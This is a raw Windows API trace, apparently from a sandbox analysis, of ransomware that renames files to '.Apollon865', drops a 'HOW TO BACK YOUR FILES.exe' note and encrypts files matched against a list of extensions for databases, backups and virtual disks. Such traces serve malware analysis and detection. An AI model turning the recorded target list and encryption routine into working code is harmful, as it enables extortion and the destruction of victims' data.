	[0076.238] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0076.238] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0076.238] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0076.238] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0076.238] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0076.238] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0076.239] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0076.239] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0076.239] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0076.239] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0076.239] CloseHandle (hObject=0x118) returned 1
	[0076.239] CloseHandle (hObject=0xc0) returned 1
	[0076.239] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0076.239] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0076.239] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0076.239] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0076.239] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0076.239] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0076.239] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us"
	[0076.239] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa638 | out: hHeap=0x580000) returned 1
	[0076.239] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0076.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us") returned 92
	[0076.239] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us"
	[0076.239] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.239] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.245] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.245] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4584d390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4584d390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.245] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.245] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.245] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.245] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4584d390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4584d390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.245] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.245] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.245] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.245] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.245] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1
	[0076.245] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.245] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="Apollon865.txt.exe") returned -1
	[0076.245] lstrcmpiW (lpString1="AccessMUI.XML", lpString2=".") returned 1
	[0076.245] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="..") returned 1
	[0076.245] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="windows") returned -1
	[0076.246] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="bootmgr") returned -1
	[0076.246] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="temp") returned -1
	[0076.246] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="pagefile.sys") returned -1
	[0076.246] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="boot") returned -1
	[0076.246] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="ids.txt") returned -1
	[0076.246] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="ntuser.dat") returned -1
	[0076.246] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="perflogs") returned -1
	[0076.246] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="MSBuild") returned -1
	[0076.246] lstrlenW (lpString="AccessMUI.XML") returned 13
	[0076.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*") returned 94
	[0076.246] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="AccessMUI.XML" | out: lpString1="AccessMUI.XML") returned="AccessMUI.XML"
	[0076.246] lstrlenW (lpString="AccessMUI.XML") returned 13
	[0076.246] lstrlenW (lpString="Apollon865") returned 10
	[0076.246] lstrcmpiW (lpString1="essMUI.XML", lpString2="Apollon865") returned 1
	[0076.246] lstrlenW (lpString=".dll") returned 4
	[0076.246] lstrcmpiW (lpString1="AccessMUI.XML", lpString2=".dll") returned 1
	[0076.246] lstrlenW (lpString=".lnk") returned 4
	[0076.246] lstrcmpiW (lpString1="AccessMUI.XML", lpString2=".lnk") returned 1
	[0076.246] lstrlenW (lpString=".ini") returned 4
	[0076.246] lstrcmpiW (lpString1="AccessMUI.XML", lpString2=".ini") returned 1
	[0076.246] lstrlenW (lpString=".sys") returned 4
	[0076.246] lstrcmpiW (lpString1="AccessMUI.XML", lpString2=".sys") returned 1
	[0076.246] lstrlenW (lpString="AccessMUI.XML") returned 13
	[0076.246] lstrlenW (lpString="bak") returned 3
	[0076.246] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0076.246] lstrlenW (lpString="ba_") returned 3
	[0076.246] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0076.246] lstrlenW (lpString="dbb") returned 3
	[0076.246] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0076.246] lstrlenW (lpString="vmdk") returned 4
	[0076.246] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0076.246] lstrlenW (lpString="rar") returned 3
	[0076.246] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0076.246] lstrlenW (lpString="zip") returned 3
	[0076.246] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0076.246] lstrlenW (lpString="tgz") returned 3
	[0076.246] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0076.247] lstrlenW (lpString="vbox") returned 4
	[0076.247] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0076.247] lstrlenW (lpString="vdi") returned 3
	[0076.247] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0076.247] lstrlenW (lpString="vhd") returned 3
	[0076.247] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0076.247] lstrlenW (lpString="vhdx") returned 4
	[0076.247] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0076.247] lstrlenW (lpString="avhd") returned 4
	[0076.247] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0076.247] lstrlenW (lpString="db") returned 2
	[0076.247] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0076.247] lstrlenW (lpString="db2") returned 3
	[0076.247] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0076.247] lstrlenW (lpString="db3") returned 3
	[0076.247] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0076.247] lstrlenW (lpString="dbf") returned 3
	[0076.247] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0076.247] lstrlenW (lpString="mdf") returned 3
	[0076.247] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0076.247] lstrlenW (lpString="mdb") returned 3
	[0076.247] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0076.247] lstrlenW (lpString="sql") returned 3
	[0076.247] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0076.247] lstrlenW (lpString="sqlite") returned 6
	[0076.247] lstrcmpiW (lpString1="UI.XML", lpString2="sqlite") returned 1
	[0076.247] lstrlenW (lpString="sqlite3") returned 7
	[0076.247] lstrcmpiW (lpString1="MUI.XML", lpString2="sqlite3") returned -1
	[0076.247] lstrlenW (lpString="sqlitedb") returned 8
	[0076.247] lstrcmpiW (lpString1="sMUI.XML", lpString2="sqlitedb") returned -1
	[0076.247] lstrlenW (lpString="xml") returned 3
	[0076.247] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0076.247] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.Apollon865") returned 117
	[0076.247] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.apollon865"), dwFlags=0x1) returned 1
	[0076.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0076.248] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1349) returned 1
	[0076.248] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0076.249] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0076.249] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0076.249] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0076.249] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0076.249] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.250] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x850, lpName=0x0) returned 0x118
	[0076.251] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x850) returned 0x100000
	[0076.252] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0076.253] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0076.253] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0076.253] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0076.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0076.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0076.253] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0076.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0076.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0076.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0076.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0076.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0076.254] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0076.254] CloseHandle (hObject=0x118) returned 1
	[0076.254] CloseHandle (hObject=0x15c) returned 1
	[0076.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0076.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0076.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0076.254] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1
	[0076.254] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.254] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="Apollon865.txt.exe") returned -1
	[0076.254] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2=".") returned 1
	[0076.254] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="..") returned 1
	[0076.254] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="windows") returned -1
	[0076.254] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="bootmgr") returned -1
	[0076.254] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="temp") returned -1
	[0076.254] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="pagefile.sys") returned -1
	[0076.254] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="boot") returned -1
	[0076.255] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="ids.txt") returned -1
	[0076.255] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="ntuser.dat") returned -1
	[0076.255] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="perflogs") returned -1
	[0076.255] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="MSBuild") returned -1
	[0076.255] lstrlenW (lpString="AccessMUISet.XML") returned 16
	[0076.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106
	[0076.255] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="AccessMUISet.XML" | out: lpString1="AccessMUISet.XML") returned="AccessMUISet.XML"
	[0076.255] lstrlenW (lpString="AccessMUISet.XML") returned 16
	[0076.255] lstrlenW (lpString="Apollon865") returned 10
	[0076.255] lstrcmpiW (lpString1="MUISet.XML", lpString2="Apollon865") returned 1
	[0076.255] lstrlenW (lpString=".dll") returned 4
	[0076.255] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2=".dll") returned 1
	[0076.255] lstrlenW (lpString=".lnk") returned 4
	[0076.255] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2=".lnk") returned 1
	[0076.255] lstrlenW (lpString=".ini") returned 4
	[0076.255] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2=".ini") returned 1
	[0076.255] lstrlenW (lpString=".sys") returned 4
	[0076.255] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2=".sys") returned 1
	[0076.255] lstrlenW (lpString="AccessMUISet.XML") returned 16
	[0076.255] lstrlenW (lpString="bak") returned 3
	[0076.255] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0076.255] lstrlenW (lpString="ba_") returned 3
	[0076.255] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0076.255] lstrlenW (lpString="dbb") returned 3
	[0076.255] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0076.255] lstrlenW (lpString="vmdk") returned 4
	[0076.255] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0076.255] lstrlenW (lpString="rar") returned 3
	[0076.255] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0076.255] lstrlenW (lpString="zip") returned 3
	[0076.255] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0076.255] lstrlenW (lpString="tgz") returned 3
	[0076.255] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0076.255] lstrlenW (lpString="vbox") returned 4
	[0076.255] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0076.255] lstrlenW (lpString="vdi") returned 3
	[0076.255] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0076.256] lstrlenW (lpString="vhd") returned 3
	[0076.256] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0076.256] lstrlenW (lpString="vhdx") returned 4
	[0076.256] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0076.256] lstrlenW (lpString="avhd") returned 4
	[0076.256] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0076.256] lstrlenW (lpString="db") returned 2
	[0076.256] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0076.256] lstrlenW (lpString="db2") returned 3
	[0076.256] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0076.256] lstrlenW (lpString="db3") returned 3
	[0076.256] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0076.256] lstrlenW (lpString="dbf") returned 3
	[0076.256] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0076.256] lstrlenW (lpString="mdf") returned 3
	[0076.256] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0076.256] lstrlenW (lpString="mdb") returned 3
	[0076.256] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0076.256] lstrlenW (lpString="sql") returned 3
	[0076.256] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0076.256] lstrlenW (lpString="sqlite") returned 6
	[0076.256] lstrcmpiW (lpString1="et.XML", lpString2="sqlite") returned -1
	[0076.256] lstrlenW (lpString="sqlite3") returned 7
	[0076.256] lstrcmpiW (lpString1="Set.XML", lpString2="sqlite3") returned -1
	[0076.256] lstrlenW (lpString="sqlitedb") returned 8
	[0076.256] lstrcmpiW (lpString1="ISet.XML", lpString2="sqlitedb") returned -1
	[0076.256] lstrlenW (lpString="xml") returned 3
	[0076.256] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0076.256] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.Apollon865") returned 120
	[0076.256] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.apollon865"), dwFlags=0x1) returned 1
	[0076.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0076.257] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=819) returned 1
	[0076.257] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0076.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0076.258] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0076.258] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0076.258] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0076.258] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.259] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x640, lpName=0x0) returned 0x118
	[0076.269] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x640) returned 0x100000
	[0076.270] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0076.271] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0076.271] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.271] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0076.271] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0076.271] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0076.271] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0076.271] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0076.271] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0076.271] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0076.271] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0076.271] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0076.271] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0076.271] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0076.272] CloseHandle (hObject=0x118) returned 1
	[0076.272] CloseHandle (hObject=0x15c) returned 1
	[0076.272] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0076.272] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0076.272] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0076.272] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4584d390, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4584d390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.272] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.272] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
